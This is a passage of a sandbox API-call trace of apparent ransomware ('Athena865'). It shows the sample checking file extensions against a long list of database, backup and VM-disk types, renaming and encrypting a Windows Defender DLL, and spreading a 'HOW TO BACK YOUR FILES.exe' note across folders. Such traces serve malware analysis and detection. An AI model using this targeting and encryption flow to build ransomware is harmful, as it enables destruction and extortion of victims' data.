lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0046.515] lstrlenW (lpString="nv2") returned 3 [0046.515] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0046.515] lstrlenW (lpString="nwdb") returned 4 [0046.515] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0046.515] lstrlenW (lpString="nyf") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0046.516] lstrlenW (lpString="odb") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0046.516] lstrlenW (lpString="odb") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0046.516] lstrlenW (lpString="oqy") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0046.516] lstrlenW (lpString="ora") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0046.516] lstrlenW (lpString="orx") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0046.516] lstrlenW (lpString="owc") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0046.516] lstrlenW (lpString="p96") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0046.516] lstrlenW (lpString="p97") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0046.516] lstrlenW (lpString="pan") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0046.516] lstrlenW (lpString="pdb") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0046.516] lstrlenW (lpString="pdm") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0046.516] lstrlenW (lpString="pnz") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0046.516] lstrlenW (lpString="qry") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0046.516] lstrlenW (lpString="qvd") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0046.516] lstrlenW (lpString="rbf") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0046.516] lstrlenW (lpString="rctd") returned 4 [0046.516] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0046.516] lstrlenW (lpString="rod") returned 3 [0046.516] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0046.516] lstrlenW (lpString="rodx") returned 4 [0046.516] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0046.517] lstrlenW (lpString="rpd") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0046.517] lstrlenW (lpString="rsd") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0046.517] lstrlenW (lpString="sas7bdat") returned 8 [0046.517] lstrcmpiW (lpString1="Lics.dll", lpString2="sas7bdat") returned -1 [0046.517] lstrlenW (lpString="sbf") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0046.517] lstrlenW (lpString="scx") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0046.517] lstrlenW (lpString="sdb") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0046.517] lstrlenW (lpString="sdc") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0046.517] lstrlenW (lpString="sdf") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0046.517] lstrlenW (lpString="sis") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0046.517] lstrlenW (lpString="spq") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0046.517] lstrlenW (lpString="te") returned 2 [0046.517] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0046.517] lstrlenW (lpString="teacher") returned 7 [0046.517] lstrcmpiW (lpString1="ics.dll", lpString2="teacher") returned -1 [0046.517] lstrlenW (lpString="tmd") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0046.517] lstrlenW (lpString="tps") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0046.517] lstrlenW (lpString="trc") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0046.517] lstrlenW (lpString="trc") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0046.517] lstrlenW (lpString="trm") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0046.517] lstrlenW (lpString="udb") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0046.517] lstrlenW (lpString="udl") returned 3 [0046.517] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0046.518] lstrlenW (lpString="usr") returned 3 [0046.518] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0046.518] lstrlenW (lpString="v12") returned 3 [0046.518] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0046.518] lstrlenW (lpString="vis") returned 3 [0046.518] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0046.518] lstrlenW (lpString="vpd") returned 3 [0046.518] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0046.518] lstrlenW (lpString="vvv") returned 3 [0046.518] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0046.518] lstrlenW (lpString="wdb") returned 3 [0046.518] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0046.518] lstrlenW (lpString="wmdb") returned 4 [0046.518] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0046.518] lstrlenW (lpString="wrk") returned 3 [0046.518] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0046.518] lstrlenW (lpString="xdb") returned 3 [0046.518] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0046.518] lstrlenW (lpString="xld") returned 3 [0046.518] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0046.518] lstrlenW (lpString="xmlff") returned 5 [0046.518] lstrcmpiW (lpString1="s.dll", lpString2="xmlff") returned -1 [0046.518] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll.Athena865") returned 62 [0046.518] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll" (normalized: "c:\\program files (x86)\\windows defender\\msmplics.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll.Athena865" (normalized: "c:\\program files (x86)\\windows defender\\msmplics.dll.athena865"), dwFlags=0x1) returned 1 [0046.519] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Defender\\MsMpLics.dll.Athena865" (normalized: "c:\\program files (x86)\\windows defender\\msmplics.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0046.519] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4608) returned 1 [0046.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0046.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0046.519] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0046.519] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0046.520] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0046.520] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.520] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1500, lpName=0x0) returned 0x17c [0046.522] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1500) returned 0x100000 [0046.523] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0046.524] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0046.524] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0046.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0046.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0046.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0046.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0046.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0046.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0046.524] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0046.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0046.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0046.524] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0046.524] CloseHandle (hObject=0x17c) returned 1 [0046.524] CloseHandle (hObject=0x154) returned 1 [0046.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0046.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0046.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0046.527] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbe6c321, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbe6c321, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x6c6758d0, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MsMpLics.dll", cAlternateFileName="")) returned 0 [0046.527] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0046.527] ReleaseMutex (hMutex=0xec) returned 1 [0046.527] CloseHandle (hObject=0xec) returned 1 [0046.527] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Mail" | out: lpString1="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail" [0046.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517438 | out: hHeap=0x4f0000) returned 1 [0046.527] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50da00 | out: hHeap=0x4f0000) returned 1 [0046.527] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Mail") returned 35 [0046.527] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C2289BF7DBB57CCED757D1AC3626EF14") returned 0xec [0046.527] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0046.528] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Mail" | out: lpString1="C:\\Program Files (x86)\\Windows Mail") returned="C:\\Program Files (x86)\\Windows Mail" [0046.528] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0046.528] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows mail\\how to back your files.exe"), bFailIfExists=1) returned 0 [0046.528] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Mail\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows mail\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0046.528] GetLastError () returned 0x0 [0046.528] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0046.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0046.528] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0046.529] CloseHandle (hObject=0xf4) returned 1 [0046.529] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0046.529] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0046.529] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc570980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc570980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0046.529] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0046.529] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0046.529] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0046.529] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc570980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc570980, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.529] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0046.529] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0046.529] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0046.529] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0046.529] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0046.529] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0046.529] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.529] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0046.530] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0046.530] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0046.530] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0046.530] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0046.530] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0046.530] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0046.530] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0046.530] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0046.530] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0046.530] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0046.530] lstrlenW (lpString="en-US") returned 5 [0046.530] lstrcpyW (in: lpString1=0x241e890, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0046.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50da00 [0046.530] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x528410 [0046.530] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0046.530] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0046.530] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Mail\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows mail\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0046.533] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc570980, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc570980, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0046.533] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0046.533] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b530d7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b530d7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18b800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2=".") returned 1 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2="..") returned 1 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2="windows") returned -1 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2="bootmgr") returned 1 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2="temp") returned -1 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2="pagefile.sys") returned -1 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2="boot") returned 1 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2="ids.txt") returned 1 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2="ntuser.dat") returned -1 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2="perflogs") returned -1 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2="MSBuild") returned 1 [0046.533] lstrlenW (lpString="msoe.dll") returned 8 [0046.533] lstrcpyW (in: lpString1=0x241e890, lpString2="msoe.dll" | out: lpString1="msoe.dll") returned="msoe.dll" [0046.533] lstrlenW (lpString="msoe.dll") returned 8 [0046.533] lstrlenW (lpString="Athena865") returned 9 [0046.533] lstrlenW (lpString=".dll") returned 4 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2=".dll") returned 1 [0046.533] lstrlenW (lpString=".lnk") returned 4 [0046.533] lstrcmpiW (lpString1="msoe.dll", lpString2=".lnk") returned 1 [0046.534] lstrlenW (lpString=".ini") returned 4 [0046.534] lstrcmpiW (lpString1="msoe.dll", lpString2=".ini") returned 1 [0046.534] lstrlenW (lpString=".sys") returned 4 [0046.534] lstrcmpiW (lpString1="msoe.dll", lpString2=".sys") returned 1 [0046.534] lstrlenW (lpString="msoe.dll") returned 8 [0046.534] lstrlenW (lpString="bak") returned 3 [0046.534] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0046.534] lstrlenW (lpString="ba_") returned 3 [0046.534] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0046.534] lstrlenW (lpString="dbb") returned 3 [0046.534] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0046.534] lstrlenW (lpString="vmdk") returned 4 [0046.534] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0046.534] lstrlenW (lpString="rar") returned 3 [0046.534] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0046.534] lstrlenW (lpString="zip") returned 3 [0046.534] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0046.534] lstrlenW (lpString="tgz") returned 3 [0046.534] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0046.534] lstrlenW (lpString="vbox") returned 4 [0046.534] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0046.534] lstrlenW (lpString="vdi") returned 3 [0046.534] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0046.534] lstrlenW (lpString="vhd") returned 3 [0046.534] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0046.534] lstrlenW (lpString="vhdx") returned 4 [0046.534] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0046.534] lstrlenW (lpString="avhd") returned 4 [0046.534] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0046.534] lstrlenW (lpString="db") returned 2 [0046.534] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0046.534] lstrlenW (lpString="db2") returned 3 [0046.534] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0046.534] lstrlenW (lpString="db3") returned 3 [0046.535] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0046.535] lstrlenW (lpString="dbf") returned 3 [0046.535] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0046.535] lstrlenW (lpString="mdf") returned 3 [0046.535] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0046.535] lstrlenW (lpString="mdb") returned 3 [0046.535] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0046.535] lstrlenW (lpString="sql") returned 3 [0046.535] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0046.535] lstrlenW (lpString="sqlite") returned 6 [0046.535] lstrcmpiW (lpString1="oe.dll", lpString2="sqlite") returned -1 [0046.535] lstrlenW (lpString="sqlite3") returned 7 [0046.535] lstrcmpiW (lpString1="soe.dll", lpString2="sqlite3") returned -1 [0046.535] lstrlenW (lpString="sqlitedb") returned 8 [0046.535] lstrlenW (lpString="xml") returned 3 [0046.535] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0046.535] lstrlenW (lpString="$er") returned 3 [0046.535] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0046.535] lstrlenW (lpString="4dd") returned 3 [0046.535] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0046.535] lstrlenW (lpString="4dl") returned 3 [0046.535] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0046.535] lstrlenW (lpString="^^^") returned 3 [0046.535] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0046.535] lstrlenW (lpString="abs") returned 3 [0046.535] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0046.535] lstrlenW (lpString="abx") returned 3 [0046.535] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0046.535] lstrlenW (lpString="accdb") returned 5 [0046.535] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1 [0046.535] lstrlenW (lpString="accdc") returned 5 [0046.535] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1 [0046.535] lstrlenW (lpString="accde") returned 5 [0046.535] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1 [0046.535] lstrlenW (lpString="accdr") returned 5 [0046.536] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1 [0046.536] lstrlenW (lpString="accdt") returned 5 [0046.536] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1 [0046.536] lstrlenW (lpString="accdw") returned 5 [0046.536] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1 [0046.536] lstrlenW (lpString="accft") returned 5 [0046.536] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1 [0046.536] lstrlenW (lpString="adb") returned 3 [0046.536] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0046.536] lstrlenW (lpString="adb") returned 3 [0046.536] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0046.536] lstrlenW (lpString="ade") returned 3 [0046.536] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0046.536] lstrlenW (lpString="adf") returned 3 [0046.536] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0046.536] lstrlenW (lpString="adn") returned 3 [0046.536] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0046.536] lstrlenW (lpString="adp") returned 3 [0046.536] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0046.536] lstrlenW (lpString="alf") returned 3 [0046.536] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0046.536] lstrlenW (lpString="ask") returned 3 [0046.536] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0046.536] lstrlenW (lpString="btr") returned 3 [0046.536] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0046.536] lstrlenW (lpString="cat") returned 3 [0046.536] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0046.536] lstrlenW (lpString="cdb") returned 3 [0046.536] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0046.536] lstrlenW (lpString="ckp") returned 3 [0046.536] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0046.536] lstrlenW (lpString="cma") returned 3 [0046.536] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0046.536] lstrlenW (lpString="cpd") returned 3 [0046.536] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0046.536] lstrlenW (lpString="dacpac") returned 6 [0046.536] lstrcmpiW (lpString1="oe.dll", lpString2="dacpac") returned 1 [0046.537] lstrlenW (lpString="dad") returned 3 [0046.537] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0046.537] lstrlenW (lpString="dadiagrams") returned 10 [0046.537] lstrlenW (lpString="daschema") returned 8 [0046.537] lstrlenW (lpString="db-journal") returned 10 [0046.537] lstrlenW (lpString="db-shm") returned 6 [0046.537] lstrcmpiW (lpString1="oe.dll", lpString2="db-shm") returned 1 [0046.537] lstrlenW (lpString="db-wal") returned 6 [0046.537] lstrcmpiW (lpString1="oe.dll", lpString2="db-wal") returned 1 [0046.537] lstrlenW (lpString="dbc") returned 3 [0046.537] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0046.537] lstrlenW (lpString="dbs") returned 3 [0046.537] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0046.537] lstrlenW (lpString="dbt") returned 3 [0046.537] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0046.537] lstrlenW (lpString="dbv") returned 3 [0046.537] 